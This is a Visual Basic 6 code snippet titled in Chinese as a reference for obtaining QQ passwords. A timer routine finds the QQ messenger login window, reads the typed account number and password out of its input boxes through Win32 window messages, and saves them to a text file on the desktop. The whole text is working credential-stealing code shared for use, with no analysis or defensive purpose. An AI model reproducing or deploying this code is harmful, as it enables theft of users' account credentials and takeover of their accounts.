参考:取得QQ密码Const WM_GETTEXT = &HD
Const WM_GETTEXTLENGTH = &HE
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpclassname As String, ByVal lpWindowName As String) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Any) As Long
'QQ的类名
Const ClassName = "#32770"
'QQ的用户密码输入框类名
Const PassWord = "Edit"
'QQ的用户名称类名
Const UserName = "ComboBox"
Const ForReading = 1, ForWriting = 2
Private Sub Timer1_Timer()
    Dim cLong As Long
    Dim astr1 As String * 10
    Dim astr As String * 20
    Dim fso As FileSystemObject
    Dim f
    '查找登陆窗口并取得句柄
wnd = FindWindow(ClassName, vbNullString)
If wnd <> 0 Then '如果出现登陆窗口
'取得密码框的句柄
wnd = FindWindowEx(wnd, 0, PassWord, vbNullString)
'截取输入信息
cLong = SendMessage(wnd, WM_GETTEXTLENGTH, 0, vbNull)
aa = SendMessage(wnd, WM_GETTEXT, cLong + 1, astr1)
'查找登陆窗口并取得句柄
wnd = FindWindow(ClassName, vbNullString)
'取得拥护号码的句柄
wnd = FindWindowEx(wnd, 0, UserName, vbNullString)
'拦截输入信息
cLong = SendMessage(wnd, WM_GETTEXTLENGTH, 0, vbNull)
aa = SendMessage(wnd, WM_GETTEXT, cLong + 1, astr)
'引用文件操作对象FSO
  Set fso = CreateObject("Scripting.FileSystemObject")
  '写
  Set f = fso.OpenTextFile("C:\Windows\Desktop\qq.txt", ForWriting, True)
  f.Write "QQ号码:" + astr + vbCrLf + "  密码: " + astr1
  
End If
astr = ""
astr1 = ""
End Sub